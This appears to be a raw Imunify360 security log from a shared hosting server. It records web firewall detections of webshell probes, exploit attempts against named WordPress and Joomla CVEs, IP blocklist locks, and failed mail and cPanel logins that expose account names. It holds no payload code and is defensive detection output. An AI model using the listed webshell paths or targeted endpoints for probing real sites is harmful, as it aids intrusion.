IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/travelinbh/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 21:33:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.31.200.85
country_id: 1522867
description:
Jul 22 21:33:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.31.200.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-22 21:33:44 dovecot_login authenticator failed for H=(c-50-190-89-138.unallocated.comcastbusiness.net) [193.31.200.85]:46952: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 21:33:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.58
country_id: 1036973
description:
Jul 22 21:33:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-22 21:34:01 dovecot_login authenticator failed for H=([196.207.177.56]) [197.219.208.58]:50432: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/images/lmfi2.php||SC:/home/ddgalaxy/public_html/images/lmfi2.php||


plugin: modsec
rule: 77137283
name: IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)
abuser: 157.90.95.245
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)||MVN:ARGS_GET:rest_route||MV:/batch/v1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 21:36:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.174
country_id: 1733045
description:
2026-07-22 21:40:47 dovecot_login authenticator failed for H=([70.166.167.44]) [49.124.155.174]:35982: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.203.199.118
country_id: 1835841
description:
Jul 22 21:40:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.203.199.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-22 21:41:00 dovecot_login authenticator failed for H=(a89-153-52-22.cpe.netcabo.pt) [175.203.199.118]:59077: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 195.174.39.5
country_id: 298795
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74936.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fc75bc963ebf6b10b465a9e2cc5737a03346bf76||Title:0x826f905c||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 21:43:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 21:47:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-22 21:47:52 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([210.183.167.169]) [89.67.37.52]:43776: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-22 21:48:05 dovecot_login authenticator failed for H=([62.164.148.87]) [159.223.111.27]:56294: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.77.191.95
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/contact-us HTTP/1.1||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.100.37
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/ahsmarine/public_html/wp-admin/images/wp-login.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.100.37
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/sodium_compat||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-22 21:50:54 dovecot_login authenticator failed for H=(60-251-229-144.hinet-ip.hinet.net) [119.192.249.195]:44056: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.100.37
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/autoload_classmap.php||SC:/home/ahsmarine/public_html/wp-includes/images||


plugin: modsec
rule: 77469916
abuser: 182.10.161.106
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce88xpkka8.xml.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
country_id: 1835841
description:
Jul 22 21:51:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-22 21:51:14 dovecot_login authenticator failed for H=([104.37.135.150]) [62.220.236.203]:58330: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-22 21:51:26 dovecot_login authenticator failed for H=([110.227.215.90]) [181.56.174.63]:42496: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-22 21:51:33 dovecot_login authenticator failed for H=([192.252.211.196]) [171.244.60.35]:34009: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-22 21:51:45 dovecot_login authenticator failed for H=([177.174.89.105]) [213.154.80.51]:53731: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-22 21:51:12 dovecot_login authenticator failed for H=([182.73.17.145]) [203.252.10.3]:41713: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.181.138
country_id: 1269750
description:
Jul 22 21:52:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.181.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-22 21:52:40 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [182.95.181.138]:45854: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 21:52:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 21:53:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ogocindia/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 21:55:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ogocindia/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 21:57:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.227.160.35
country_id: 1269750
description:
[2026-07-22 22:05:42 +0530] info [whostmgrd] 64.227.160.35 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 22:06:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacservice2.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.6.226.104
country_id: 6252001
description:
Jul 22 22:08:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.6.226.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.226.104
country_id: 6252001
description:
2026-07-22 22:08:38 dovecot_login authenticator failed for H=209-6-226-104.s4710.c3-0.wtr-cbr1.sbo-wtr.ma.cable.rcncustomer.com ([36.151.68.6]) [209.6.226.104]:34126: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.252.168.4
country_id: 1269750
description:
Jul 22 22:08:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.252.168.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-22 22:08:53 dovecot_login authenticator failed for H=a4.ucndns.in (reverse.as200780.net) [103.252.168.4]:45189: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 22:15:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77281327
abuser: 103.59.161.65
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 22:16:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 22:17:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 22:18:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77783317
name: IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)
abuser: 135.119.63.200
country_id: 6252001
domain: webmail.kallanigroup.com
description:
IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)||MV:/adminer.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.119.63.200
country_id: 6252001
domain: webmail.kallanigroup.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/meiwei.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77102143
abuser: 82.26.159.24
country_id: 2510769
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.240.162
country_id: 1269750
description:
Jul 22 22:22:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.240.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.240.162
country_id: 1269750
description:
2026-07-22 22:22:38 dovecot_login authenticator failed for H=([70.166.167.37]) [152.52.240.162]:39370: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.62.88.25
country_id: 1269750
description:
Jul 22 22:23:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.62.88.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-22 22:23:05 dovecot_login authenticator failed for H=([49.124.146.43]) [202.62.88.25]:44222: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-22 22:22:26 dovecot_login authenticator failed for H=([61.72.145.38]) [211.63.34.149]:35817: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-22 22:22:37 dovecot_login authenticator failed for H=([72.239.145.229]) [61.32.68.66]:15319: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.63.34.149
country_id: 1835841
description:
Jul 22 22:22:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.63.34.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.32.68.66
country_id: 1835841
description:
Jul 22 22:22:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.32.68.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.119.63.200
country_id: 6252001
domain: webmail.kallanigroup.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/simple-file-list/DC.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 22:35:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 22:37:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 22:38:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.56.156.49
country_id: 3175395
description:
2026-07-22 22:39:19 dovecot_login authenticator failed for H=host-185-56-156-49.mywic.eu ([74.208.177.56]) [185.56.156.49]:48502: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.56.156.49
country_id: 3175395
description:
Jul 22 22:39:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.56.156.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.177.143.61
country_id: 1819730
description:
Jul 22 22:39:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.177.143.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-22 22:39:29 dovecot_login authenticator failed for H=([183.82.56.12]) [210.177.143.61]:33848: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 22:40:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.67.152.201
country_id: 1269750
description:
Jul 22 22:40:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.67.152.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-22 22:40:34 dovecot_login authenticator failed for H=([182.225.30.195]) [103.67.152.201]:44766: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-22 22:41:06 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net ([110.93.243.22]) [50.5.205.174]:53244: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.5.205.174
country_id: 6252001
description:
Jul 22 22:41:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.5.205.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.62.74.41
country_id: 1527747
description:
Jul 22 22:41:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.62.74.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-22 22:41:28 dovecot_login authenticator failed for H=([70.166.167.49]) [92.62.74.41]:37569: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.182.173.140
country_id: 6252001
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/index.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.61.165.183
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/audio-solutions-microphones-and-speakers HTTP/1.1||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/yukticlick/public_html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 168.62.180.116
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/yukticlick/public_html/wp-includes||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/yukticlick/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.157.13.210
country_id: 3686110
description:
Jul 22 22:47:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.157.13.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-22 22:47:03 dovecot_login authenticator failed for H=([24.249.199.9]) [190.157.13.210]:54574: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.133.229.251
country_id: 1522867
description:
Jul 22 22:46:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.133.229.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.229.251
country_id: 1522867
description:
2026-07-22 22:46:22 dovecot_login authenticator failed for H=2.133.229.251.dynamic.telecom.kz (static.ill.117.250.19.91.bsnl.co.in) [2.133.229.251]:38140: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/assets/images/about.php||SC:/home/kallanigroup/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-22 22:50:11 dovecot_login authenticator failed for H=([195.158.14.232]) [65.181.79.60]:63011: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.181.79.60
country_id: 1819730
description:
Jul 22 22:50:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.181.79.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.0.90.81
country_id: 2077456
description:
Jul 22 22:50:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.0.90.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.116.66
country_id: 1269750
description:
Jul 22 22:50:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.116.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.81
country_id: 2077456
description:
2026-07-22 22:50:20 dovecot_login authenticator failed for H=210.0.90.81.static.nexnet.net.au ([85.35.177.182]) [210.0.90.81]:56832: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-22 22:50:34 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [182.95.116.66]:43442: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 22:50:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/images/admin.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 130.131.233.88
country_id: 6252001
domain: cpcalendars.cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.182.173.140
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ahsmarine/public_html/wp-content/uploads/index.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/kallanigroup/public_html/wp-includes/sodium_compat||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
